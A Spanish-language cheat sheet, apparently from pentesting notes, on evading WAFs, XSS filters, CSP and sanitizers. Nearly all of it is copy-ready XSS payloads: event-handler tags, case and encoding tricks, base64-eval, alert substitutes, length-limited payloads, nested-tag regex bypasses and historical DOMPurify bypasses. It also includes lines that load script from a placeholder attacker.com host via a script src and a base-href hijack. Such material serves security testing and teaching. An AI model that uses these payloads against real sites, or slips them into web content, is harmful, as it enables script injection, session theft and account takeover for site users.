bypass-de-waf
Bypass de WAF
Section titled “Bypass de WAF”Las aplicaciones implementan filtros que bloquean patrones de XSS como <script>, onerror=, javascript:, etc. Esta sección recoge las técnicas para evadir estas protecciones.
1. Alternativas al tag <script>
Section titled “1. Alternativas al tag <script>”Cuando <script> está bloqueado, casi cualquier tag HTML con un event handler funciona:
<!-- Event handlers en tags de imagen/media --><img src=x onerror=alert(1)><video src=x onerror=alert(1)><audio src=x onerror=alert(1)><source src=x onerror=alert(1)>
<!-- SVG (muy potente, acepta muchos eventos) --><svg onload=alert(1)><svg><script>alert(1)</script></svg><svg><animate onbegin=alert(1) attributeName=x><svg><set attributeName=x onbegin=alert(1)><svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x">
<!-- Auto-ejecutables sin clic --><body onload=alert(1)><details open ontoggle=alert(1)><input autofocus onfocus=alert(1)><select autofocus onfocus=alert(1)><textarea autofocus onfocus=alert(1)><keygen autofocus onfocus=alert(1)>
<!-- Con interacción mínima --><div onmouseover=alert(1)>hover</div><a href=# onclick=alert(1)>click</a><form><button formaction=javascript:alert(1)>click</button></form><math><mtext></table><img src=x onerror=alert(1)><table><td background=javascript:alert(1)> ← IE/antiguo
<!-- marquee / animaciones --><marquee onstart=alert(1)><marquee loop=1 onfinish=alert(1)>2. Bypass de filtros de palabras clave
Section titled “2. Bypass de filtros de palabras clave”Mezclando mayúsculas y minúsculas
Section titled “Mezclando mayúsculas y minúsculas”<ScRiPt>alert(1)</ScRiPt><SCRIPT>alert(1)</SCRIPT><sCrIpT>alert(1)</ScRiPt><img SrC=x OnErRoR=alert(1)>Espacios y caracteres extra entre atributos
Section titled “Espacios y caracteres extra entre atributos”<!-- Tabs, newlines, returns entre atributos --><img src=xonerror=alert(1)>
<img src=x onerror=alert(1)>
<!-- Caracteres raros entre tag y atributo --><img/src=x onerror=alert(1)><img %09src=x onerror=alert(1)><img %0asrc=x onerror=alert(1)>Comentarios HTML dentro de tags
Section titled “Comentarios HTML dentro de tags”<!-- En algunos parsers esto funciona --><img src=x o<!-->nerror=alert(1)><sc<!---->ript>alert(1)</sc<!---->ript>Null bytes
Section titled “Null bytes”<scr%00ipt>alert(1)</scr%00ipt><img src=x o%00nerror=alert(1)>3. Bypass de filtros de comillas
Section titled “3. Bypass de filtros de comillas”<!-- Sin comillas en atributos --><img src=x onerror=alert(1)>
<!-- Comillas invertidas (backticks) como delimitador en algunos contextos --><img src=`x` onerror=`alert(1)`>
<!-- Comillas HTML-encoded dentro de atributos --><img src=x onerror=alert(1)><img src=x onerror=alert(1)>
<!-- Evitar comillas en el payload JS --><img src=x onerror=alert(String.fromCharCode(88,83,83))>4. Encoding del payload
Section titled “4. Encoding del payload”HTML Entities
Section titled “HTML Entities”<!-- Dentro de atributos o HTML, los browsers decodifican entities antes de ejecutar --><img src=x onerror=alert(1)><img src=x onerror=alert(1)><a href="javascript:alert(1)">click</a>URL Encoding (en contexto href)
Section titled “URL Encoding (en contexto href)”<a href="javascript:%61lert(1)">click</a><a href="java%0ascript:alert(1)">click</a><a href="java	script:alert(1)">click</a><a href="javascript:alert%281%29">click</a>Unicode escapes (en contexto JS)
Section titled “Unicode escapes (en contexto JS)”// Dentro de código JS ya ejecutado\u0061lert(1) // alert(1)\u0061\u006cert(1) // alert(1)eval('\u0061lert\u00281\u0029')Base64 + eval
Section titled “Base64 + eval”// Codificar payload en base64// btoa('alert(1)') = YWxlcnQoMSk=eval(atob('YWxlcnQoMSk='))
// Como payload en evento<img src=x onerror=eval(atob('YWxlcnQoMSk='))>5. Bypass del protocolo javascript:
Section titled “5. Bypass del protocolo javascript:”<!-- Variaciones de capitalización -->javascript:alert(1)Javascript:alert(1)JAVASCRIPT:alert(1)JaVaScRiPt:alert(1)
<!-- Con espacios/newlines antes del protocolo --> javascript:alert(1) ← espacio	javascript:alert(1) ← tab
javascript:alert(1) ← newline
javascript:alert(1) ← carriage return
<!-- Con caracteres entre java y script -->java%0ascript:alert(1)java%09script:alert(1)java	script:alert(1)
<!-- Alternativas al protocolo javascript: -->data:text/html,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==vbscript:alert(1) ← solo IE antiguo6. Bypass de alert bloqueado
Section titled “6. Bypass de alert bloqueado”// Alternativas a alert()confirm(1)prompt(1)console.log(1)print() // Abre diálogo de impresión
// Sin paréntesisalert`1`confirm`1`prompt`1`
// Con template literalsalert`${1}`
// Construir alert dinámicamentewindow['alert'](1)window['al'+'ert'](1)this['alert'](1)top['alert'](1)self['alert'](1)globalThis['alert'](1)
// Usando evaleval('ale'+'rt(1)')eval(String.fromCharCode(97,108,101,114,116,40,49,41))[].constructor.constructor('alert(1)')()Function('alert(1)')()7. Bypass de longitud máxima
Section titled “7. Bypass de longitud máxima”Cuando el input tiene un límite de caracteres:
// Payloads ultra-cortos<q/oncut=alert(1)> ← 21 chars, requiere ctrl+X<svg/onload=alert(1)> ← 21 chars<img/src/onerror=alert(1)> ← 26 chars
// Si solo se permiten N caracteres:// Almacenar código en el DOM y referenciar// Usar window.name desde otra página// Cargar script externo:<script src=//attacker.com/x.js>
// Desde hash:<svg/onload=eval(location.hash.slice(1))>#alert(1)8. Bypass de CSP (Content Security Policy)
Section titled “8. Bypass de CSP (Content Security Policy)”Si CSP permite unsafe-inline
Section titled “Si CSP permite unsafe-inline”<!-- Con unsafe-inline, cualquier inline script funciona --><script>alert(1)</script>Si CSP permite un dominio con contenido controlable
Section titled “Si CSP permite un dominio con contenido controlable”<!-- Si CSP incluye cdn.jsdelivr.net o similar --><script src="https://cdn.jsdelivr.net/npm/[paquete-malicioso]"></script>
<!-- Si CSP incluye el propio dominio y hay JSONP --><script src="https://target.com/jsonp?callback=alert(1)//"></script>Bypass con nonce robado (si el nonce se filtra en otro sitio)
Section titled “Bypass con nonce robado (si el nonce se filtra en otro sitio)”<script nonce="NONCE_ROBADO">alert(1)</script>CSP bypass con base-uri
Section titled “CSP bypass con base-uri”<!-- Si base-uri no está restringido --><base href="https://attacker.com/"><!-- Todos los scripts relativos cargarán desde attacker.com -->Herramienta para analizar CSP
Section titled “Herramienta para analizar CSP”https://csp-evaluator.withgoogle.com/→ Pegar el valor del header CSP→ Identificar debilidades bypasseables9. Bypass de sanitizadores populares
Section titled “9. Bypass de sanitizadores populares”DOMPurify (bypasses históricos, ya parcheados)
Section titled “DOMPurify (bypasses históricos, ya parcheados)”<!-- Técnicas que han funcionado en versiones antiguas --><!-- Siempre verificar versión instalada --><math><mtext><table><mglyph><style><img src=x onerror=alert(1)><svg><foreignObject><math><mi><img src=x onerror=alert(1)>Filtros con regex simples
Section titled “Filtros con regex simples”// Si el filtro hace: input.replace(/<script>/gi, '')// Anidar el tag para que al eliminarlo quede uno válido:<scr<script>ipt>alert(1)</scr<script>ipt>→ Después del replace: <script>alert(1)</script>
// Si el filtro elimina "on" de eventos:// onerror → r → onr → ...// Usar: <img src=x onerror=alert(1)> si el filtro solo bloquea "onerror" exacto:<img src=x OnErRoR=alert(1)>Cheatsheet de bypass
Section titled “Cheatsheet de bypass”| Bloqueado | Bypass |
|---|---|
<script> |
<img src=x onerror=...>, <svg onload=...> |
onerror / onload |
Mezcla de mayúsculas: OnErRoR, OnLoAd |
alert |
confirm, prompt, eval(atob(...)) |
javascript: |
javascript:, java%0ascript: |
Comillas " / ' |
Backtick `, HTML entities, sin comillas |
= en atributos |
Sin comillas: onerror=alert(1) |
| Espacios | %09, %0a, / entre tag y atributo |
| Longitud corta | <svg/onload=alert(1)> (21 chars) |
DOM Invader (Burp Suite) inyecta canarios en todos los inputs y monitorea cuáles llegan a sinks peligrosos, ideal para detectar DOM XSS con filtros.
Para identificar qué está bloqueando el WAF, probar de forma incremental: primero
<, luego<img, luego<img src, etc., hasta encontrar qué token dispara el bloqueo.
https://csp-evaluator.withgoogle.com/es la herramienta más rápida para identificar debilidades en una CSP antes de intentar bypasses manuales.